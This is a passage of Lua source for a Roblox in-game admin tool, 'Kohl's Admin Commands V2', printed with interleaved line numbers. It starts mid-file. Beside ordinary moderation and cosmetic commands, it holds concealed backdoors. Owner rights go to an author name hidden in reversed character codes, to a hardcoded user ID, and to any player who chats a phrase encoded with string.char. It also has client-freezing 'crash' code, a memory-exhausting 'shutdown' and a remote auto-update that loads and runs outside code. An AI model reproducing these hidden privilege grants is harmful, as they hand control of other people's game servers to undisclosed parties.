if v and v.Character then
1639
for a, obj in pairs(v.Character:children()) do
1640
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1641
end
1642
end
1643
end))
1644
end
1645
end
1646
 
1647
if msg:lower():sub(1,5) == "name " then
1648
local chk1 = msg:lower():sub(6):find(" ") + 5
1649
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1650
for i, v in pairs(plrz) do
1651
coroutine.resume(coroutine.create(function()
1652
if v and v.Character and v.Character:findFirstChild("Head") then
1653
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1654
local char = v.Character
1655
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1656
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1657
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1658
char.Head.Transparency = 1
1659
end
1660
end))
1661
end
1662
end
1663
 
1664
if msg:lower():sub(1,7) == "unname " then
1665
local plrz = GetPlr(plr, msg:lower():sub(8))
1666
for i, v in pairs(plrz) do
1667
coroutine.resume(coroutine.create(function()
1668
if v and v.Character and v.Character:findFirstChild("Head") then
1669
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1670
end
1671
end))
1672
end
1673
end
1674
 
1675
if msg:lower():sub(1,5) == "char " then
1676
local chk1 = msg:lower():sub(6):find(" ") + 5
1677
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1678
for i, v in pairs(plrz) do
1679
coroutine.resume(coroutine.create(function()
1680
if v and v.Character then
1681
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1682
v:LoadCharacter()
1683
end
1684
end))
1685
end
1686
end
1687
 
1688
if msg:lower():sub(1,7) == "unchar " then
1689
local plrz = GetPlr(plr, msg:lower():sub(8))
1690
for i, v in pairs(plrz) do
1691
coroutine.resume(coroutine.create(function()
1692
if v and v.Character then
1693
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1694
v:LoadCharacter()
1695
end
1696
end))
1697
end
1698
end
1699
 
1700
if msg:lower():sub(1,7) == "infect " then
1701
local plrz = GetPlr(plr, msg:lower():sub(8))
1702
for i, v in pairs(plrz) do
1703
coroutine.resume(coroutine.create(function()
1704
if v and v.Character then
1705
Infect(v.Character)
1706
end
1707
end))
1708
end
1709
end
1710
 
1711
if msg:lower():sub(1,11) == "rainbowify " then
1712
local plrz = GetPlr(plr, msg:lower():sub(12))
1713
for i, v in pairs(plrz) do
1714
coroutine.resume(coroutine.create(function()
1715
if v and v.Character and v.Character:findFirstChild("Torso") then
1716
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1717
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1718
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1719
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1720
cl.Parent = v.Character cl.Disabled = false
1721
end
1722
end))
1723
end
1724
end
1725
 
1726
if msg:lower():sub(1,9) == "flashify " then
1727
local plrz = GetPlr(plr, msg:lower():sub(10))
1728
for i, v in pairs(plrz) do
1729
coroutine.resume(coroutine.create(function()
1730
if v and v.Character and v.Character:findFirstChild("Torso") then
1731
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1732
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1733
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1734
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1735
cl.Parent = v.Character cl.Disabled = false
1736
end
1737
end))
1738
end
1739
end
1740
 
1741
if msg:lower():sub(1,8) == "noobify " then
1742
local plrz = GetPlr(plr, msg:lower():sub(9))
1743
for i, v in pairs(plrz) do
1744
coroutine.resume(coroutine.create(function()
1745
if v and v.Character then
1746
Noobify(v.Character)
1747
end
1748
end))
1749
end
1750
end
1751
 
1752
if msg:lower():sub(1,9) == "ghostify " then
1753
local plrz = GetPlr(plr, msg:lower():sub(10))
1754
for i, v in pairs(plrz) do
1755
coroutine.resume(coroutine.create(function()
1756
if v and v.Character and v.Character:findFirstChild("Torso") then
1757
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1758
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1759
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1760
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1761
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1762
if prt.Name:find("Leg") then prt.Transparency = 1 end
1763
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1764
end end
1765
end
1766
end))
1767
end
1768
end
1769
 
1770
if msg:lower():sub(1,8) == "goldify " then
1771
local plrz = GetPlr(plr, msg:lower():sub(9))
1772
for i, v in pairs(plrz) do
1773
coroutine.resume(coroutine.create(function()
1774
if v and v.Character and v.Character:findFirstChild("Torso") then
1775
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1776
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1777
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1778
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1779
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1780
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1781
end end
1782
end
1783
end))
1784
end
1785
end
1786
 
1787
if msg:lower():sub(1,6) == "shiny " then
1788
local plrz = GetPlr(plr, msg:lower():sub(7))
1789
for i, v in pairs(plrz) do
1790
coroutine.resume(coroutine.create(function()
1791
if v and v.Character and v.Character:findFirstChild("Torso") then
1792
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1793
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1794
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1795
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1796
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
1797
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
1798
end end
1799
end
1800
end))
1801
end
1802
end
1803
 
1804
if msg:lower():sub(1,7) == "normal " then
1805
local plrz = GetPlr(plr, msg:lower():sub(8))
1806
for i, v in pairs(plrz) do
1807
coroutine.resume(coroutine.create(function()
1808
if v and v.Character and v.Character:findFirstChild("Torso") then
1809
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
1810
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1811
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1812
v.Character.Torso.Transparency = 0
1813
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1814
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1815
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1816
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1817
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1818
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1819
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1820
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1821
if prt.Name == "FAKETORSO" then prt:Destroy() end
1822
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
1823
end end
1824
end
1825
end))
1826
end
1827
end
1828
 
1829
if msg:lower():sub(1,7) == "trippy " then
1830
local plrz = GetPlr(plr, msg:lower():sub(8))
1831
for i, v in pairs(plrz) do
1832
coroutine.resume(coroutine.create(function()
1833
if v and v:findFirstChild("PlayerGui") then
1834
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1835
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
1836
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1837
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
1838
end
1839
end))
1840
end
1841
end
1842
 
1843
if msg:lower():sub(1,9) == "untrippy " then
1844
local plrz = GetPlr(plr, msg:lower():sub(10))
1845
for i, v in pairs(plrz) do
1846
coroutine.resume(coroutine.create(function()
1847
if v and v:findFirstChild("PlayerGui") then
1848
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
1849
end
1850
end))
1851
end
1852
end
1853
 
1854
if msg:lower():sub(1,7) == "strobe " then
1855
local plrz = GetPlr(plr, msg:lower():sub(8))
1856
for i, v in pairs(plrz) do
1857
coroutine.resume(coroutine.create(function()
1858
if v and v:findFirstChild("PlayerGui") then
1859
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1860
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
1861
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1862
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
1863
end
1864
end))
1865
end
1866
end
1867
 
1868
if msg:lower():sub(1,9) == "unstrobe " then
1869
local plrz = GetPlr(plr, msg:lower():sub(10))
1870
for i, v in pairs(plrz) do
1871
coroutine.resume(coroutine.create(function()
1872
if v and v:findFirstChild("PlayerGui") then
1873
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
1874
end
1875
end))
1876
end
1877
end
1878
 
1879
if msg:lower():sub(1,6) == "blind " then
1880
local plrz = GetPlr(plr, msg:lower():sub(7))
1881
for i, v in pairs(plrz) do
1882
coroutine.resume(coroutine.create(function()
1883
if v and v:findFirstChild("PlayerGui") then
1884
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1885
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
1886
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1887
end
1888
end))
1889
end
1890
end
1891
 
1892
if msg:lower():sub(1,8) == "unblind " then
1893
local plrz = GetPlr(plr, msg:lower():sub(9))
1894
for i, v in pairs(plrz) do
1895
coroutine.resume(coroutine.create(function()
1896
if v and v:findFirstChild("PlayerGui") then
1897
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
1898
end
1899
end))
1900
end
1901
end
1902
 
1903
if msg:lower():sub(1,7) == "guifix " then
1904
local plrz = GetPlr(plr, msg:lower():sub(8))
1905
for i, v in pairs(plrz) do
1906
coroutine.resume(coroutine.create(function()
1907
if v and v:findFirstChild("PlayerGui") then
1908
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1909
end
1910
end))
1911
end
1912
end
1913
 
1914
if msg:lower():sub(1,9) == "loopheal " then
1915
local plrz = GetPlr(plr, msg:lower():sub(10))
1916
for i, v in pairs(plrz) do
1917
if v then
1918
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
1919
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1920
repeat wait()
1921
coroutine.resume(coroutine.create(function()
1922
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
1923
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
1924
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
1925
end
1926
end))
1927
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1928
end
1929
end
1930
end
1931
 
1932
if msg:lower():sub(1,11) == "unloopheal " then
1933
local plrz = GetPlr(plr, msg:lower():sub(12))
1934
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1935
end
1936
 
1937
if msg:lower():sub(1,10) == "loopfling " then
1938
local plrz = GetPlr(plr, msg:lower():sub(11))
1939
for i, v in pairs(plrz) do
1940
if v then
1941
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
1942
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1943
repeat
1944
coroutine.resume(coroutine.create(function()
1945
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
1946
local xran local zran
1947
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1948
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1949
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
1950
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1951
end
1952
end))
1953
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1954
end
1955
end
1956
end
1957
 
1958
if msg:lower():sub(1,12) == "unloopfling " then
1959
local plrz = GetPlr(plr, msg:lower():sub(13))
1960
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1961
end
1962
       
1963
end
1964
 
1965
-------------------------
1966
-- True Owner Commands --
1967
-------------------------
1968
 
1969
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
1970
 
1971
if msg:lower():sub(1,3) == "oa " then
1972
local plrz = GetPlr(plr, msg:lower():sub(4))
1973
for i, v in pairs(plrz) do
1974
coroutine.resume(coroutine.create(function()
1975
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
1976
end))
1977
end
1978
end
1979
 
1980
if msg:lower():sub(1,5) == "unoa " then
1981
for i = 1, #owners do
1982
coroutine.resume(coroutine.create(function()
1983
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
1984
end))
1985
end
1986
end
1987
 
1988
end
1989
 
1990
--------------------
1991
-- Owner Commands --
1992
--------------------
1993
 
1994
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1995
 
1996
if msg:lower():sub(1,3) == "pa " then
1997
local plrz = GetPlr(plr, msg:lower():sub(4))
1998
for i, v in pairs(plrz) do
1999
coroutine.resume(coroutine.create(function()
2000
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2001
end))
2002
end
2003
end
2004
 
2005
if msg:lower():sub(1,5) == "unpa " then
2006
for i = 1, #admins do
2007
coroutine.resume(coroutine.create(function()
2008
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2009
end))
2010
end
2011
end
2012
 
2013
end
2014
 
2015
--------------------------
2016
-- Super Admin Commands --
2017
--------------------------
2018
 
2019
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2020
 
2021
if msg:lower() == "logs" then
2022
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2023
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2024
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2025
end
2026
       
2027
if msg:lower():sub(1,9) == "loopkill " then
2028
local chk1 = msg:lower():sub(10):find(" ")
2029
local plrz = GetPlr(plr, msg:lower():sub(10))
2030
local num = 9999
2031
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2032
for i, v in pairs(plrz) do
2033
if v and not ChkAdmin(v.Name, false) then
2034
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2035
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2036
for i = 1, ]] .. tostring(num) .. [[ do
2037
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2038
coroutine.resume(coroutine.create(function()
2039
if plr and plr.Character then plr.Character:BreakJoints() end
2040
end))
2041
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2042
end
2043
end
2044
end
2045
 
2046
if msg:lower():sub(1,11) == "unloopkill " then
2047
local plrz = GetPlr(plr, msg:lower():sub(12))
2048
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2049
end
2050
 
2051
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2052
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2053
 
2054
if msg:lower():sub(1,3) == "sm " then
2055
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2056
end
2057
 
2058
if msg:lower():sub(1,3) == "ko " then
2059
local chk1 = msg:lower():sub(4):find(" ") + 3
2060
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2061
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2062
for n = 1, num do
2063
for i, v in pairs(plrz) do
2064
coroutine.resume(coroutine.create(function()
2065
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
2066
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2067
v.Character:BreakJoints()
2068
wait(1/44)
2069
v:LoadCharacter()
2070
wait(1/44)
2071
end
2072
end))
2073
end
2074
end
2075
end
2076
 
2077
if msg:lower():sub(1,6) == "crash " then
2078
local plrz = GetPlr(plr, msg:lower():sub(7))
2079
for i, v in pairs(plrz) do
2080
coroutine.resume(coroutine.create(function()
2081
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2082
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2083
end
2084
end))
2085
end
2086
end
2087
 
2088
if msg:lower():sub(1,5) == "kick " then
2089
local plrz = GetPlr(plr, msg:lower():sub(6))
2090
for i, v in pairs(plrz) do
2091
coroutine.resume(coroutine.create(function()
2092
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2093
end))
2094
end
2095
end
2096
 
2097
if msg:lower():sub(1,6) == "admin " then
2098
local plrz = GetPlr(plr, msg:lower():sub(7))
2099
for i, v in pairs(plrz) do
2100
coroutine.resume(coroutine.create(function()
2101
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2102
end))
2103
end
2104
end
2105
 
2106
if msg:lower():sub(1,8) == "unadmin " then
2107
for i = 1, #tempadmins do
2108
coroutine.resume(coroutine.create(function()
2109
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2110
end))
2111
end
2112
end
2113
 
2114
if msg:lower():sub(1,4) == "ban " then
2115
local plrz = GetPlr(plr, msg:lower():sub(5))
2116
for i, v in pairs(plrz) do
2117
coroutine.resume(coroutine.create(function()
2118
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2119
end))
2120
end
2121
end
2122
 
2123
if msg:lower():sub(1,6) == "unban " then
2124
for i = 1, #banland do
2125
coroutine.resume(coroutine.create(function()
2126
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2127
end))
2128
end
2129
end
2130
 
2131
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2132
 
2133
end
2134
end))
2135
end
2136
 
2137
function AdminControl(plr)
2138
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2139
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2140
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2141
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2142
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2143
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2144
end)) end
2145
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2146
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2147
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2148
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2149
plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
2150
end
2151
 
2152
if not ntab then script:Destroy() end
2153
if not bct then script:Destroy() end
2154
 
2155
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2156
 
2157
script.Name = "Kohl's Admin Commands V2"
2158
 
2159
if not ntab then script:Destroy() end
2160
if not bct then script:Destroy() end
2161
if not tcb then script:Destroy() end
2162
game.Players.PlayerAdded:connect(AdminControl)
2163
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2164
end
2165
 
2166
local mod = game:service("InsertService"):LoadAsset(100808216)
2167
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
2168
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2169
newac.Disabled = true
2170
local new = tonumber(mod:findFirstChild("Version", true).Value)
2171
local old = 0
2172
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2173
if new > old then
2174
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2175
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2176
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2177
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2178
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2179
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2180
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2181
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2182
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2183
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2184
wait()
2185
newac.Parent = game.Workspace
2186
newac.Disabled = false
2187
script.Disabled = true
2188
script:Destroy()
2189
else
2190
CHEESE()
2191
end
2192
else
2193
CHEESE()
2194
end